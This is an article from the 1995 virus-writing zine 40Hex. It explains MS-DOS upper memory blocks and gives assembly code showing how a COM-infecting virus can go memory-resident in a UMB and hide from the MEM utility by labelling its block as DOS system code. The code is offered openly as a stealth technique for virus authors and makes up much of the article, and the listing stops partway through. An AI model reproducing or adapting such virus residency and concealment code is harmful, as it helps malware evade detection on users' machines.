40Hex Issue 14 File 012

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40Hex

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40Hex Number 14 Volume 5 Issue 1                                      File 012 

        UMB Residency 
        By Dark Angel, Phalcon/Skism '95 

One day, while fiddling with loading programs into MSDOS UMB's, I realised 
that there are very few viruses that used UMB's. This is surprising, given 
the prevalence of UMB's and the ease with which DOS viruses may hide their 
presence through the use of UMB's. 

The UMB's, or upper memory blocks, consist of the memory above 640K and below 
1MB (segments A000 to FFFF). This region was reserved early on for BIOS and 
peripherals, notably video memory. There is normally plenty of unused space in 
this region, so enterprising programmers found a simple way to incorporate the 
memory into DOS's memory allocation scheme. They simply extended the MCB chain 
into that region, with MCB's indicating already allocated memory covering the 
memory used for other purposes by the machine. In this way, more memory, 
albeit fragmented, was usable for loading programs. The UMB's are especially 
handy for storing TSR's, since they have smaller memory constraints than most 
programs. The programmers at Microsoft, realising the utility of UMB's, 
decided to incorporate UMB's into DOS beginning at version 5, so now there is 
a standardised method of handling upper memory. 

The MCB's handling upper memory are slightly more complex than regular MCB's. 
The format of a UMB control block is: 

Offset  Size  Description 
  00    BYTE  'Z' if last MCB in chain, 'M' otherwise 
  01    WORD  PSP segment of owner (8 if MSDOS, 0 if free) 
  03    WORD  size of memory block in paragraphs 
  05  3 BYTES unused 
  08  8 BYTES program name in ASCII or 
              "SC" if system code or 
              "SD" if system data 

The method is pretty simple to understand and very easy to implement. In 
DOS 5+, the first UMB can be located through a pointer in the disk buffer 
information structure which, in turn, may be located through the DOS master 
list structure. This UMB is usually located at 9FFF:0000, but there is no need 
for this to be the case. It's simply the most convenient location for it. The 
only difference between modifying regular MCB's and UMB's is the extra field 
at offset 8 which may be used to mark the block as DOS system code. By marking 
this with DOS's usual fields to indicate unusuable memory such as video memory 
and ROM, we effectively hide the virus from detection by utilities such as 
MEM. Since it doesn't reside in conventional memory (below 640K), there is no 
decrease in memory a la 40:13 BIOS manipulating memory residency techniques. 

The sample code below, written for a simple COM infector, illustrates the 
technique. 

start:          xor     di,di 

                mov     ax,3306                 ; get true DOS version 
                int     21 
                inc     al                      ; DOS 4-? 
                jz      no_UMBs                 ; if so, we don't have UMB's 

                mov     ah,52                   ; get DOS master list 
                int     21                      ; structure 

                lds     si,es:[bx+12]           ; get ptr to disk buffer info 

                mov     ax,ds:[si+1f]           ; get address of the first UMB 
                inc     ax                      ; (FFFF if no UMBs present) 
                jz      no_UMBs 
                dec     ax                      ; undo damage from above 
search_chain:   mov     ds,ax                   ; go to the MCB 
                cmp     word ptr [di+1],di      ; unused? 
                jnz     search_next 
                cmp     word ptr [di+3],reslength_P ; MCB large enough to 
                ja      handle_MCB              ; hold us and our MCB? 
search_next:    cmp     byte ptr [di],'Z'       ; end of chain? 
                jz      no_UMBs 
                mov     bx,[di+3]               ; go to the next MCB 
                inc     ax                      ; 40Hex 
                add     ax,bx 
                jmp     search_chain 

no_UMBs:        mov     ax,cs 
                dec     ax                      ; get the MCB for current 
                mov     ds,ax                   ; program 
                cmp     word ptr [di+3],reslength_P + 1000 ; large enough for 
                jna     fail_init               ; program and virus and its 
                                                ; MCB? 
                jmp     short handle_MCB 

                db      0,'(DA/PS)',0 

handle_MCB:     sub     word ptr [di+3],reslength_P + 1 ; adjust size of memory 
                                                ; area for virus + its MCB 
                mov     bx,[di+3]               ; get size of new memory area 
                mov     cl,'M'                  ; make sure this MCB doesn't 
                xchg    cl,byte ptr [di]        ; mark the end of the chain 
                inc     ax 
                add     ax,bx                   ; go to virus segment's MCB 
                mov     ds,ax 
                mov     es,ax 

                mov     byte ptr [di],cl        ; patch end of chain indicator 
                mov     word ptr [di+1],8       ; mark MCB owned by DOS 
                mov     word ptr [di+3],reslength_P ; patch in virus size 

                inc     ax                      ; ds->virus segment 
                mov     ds,ax 

                or      di,8                    ; go to program name field 
                mov     ax,'CS'                 ; make virus invisible to MEM 
                stosw                           ; by pretending it is 
                xor     ax,ax                   ; DOS system code 
                stosw 
                stosw 
                stosw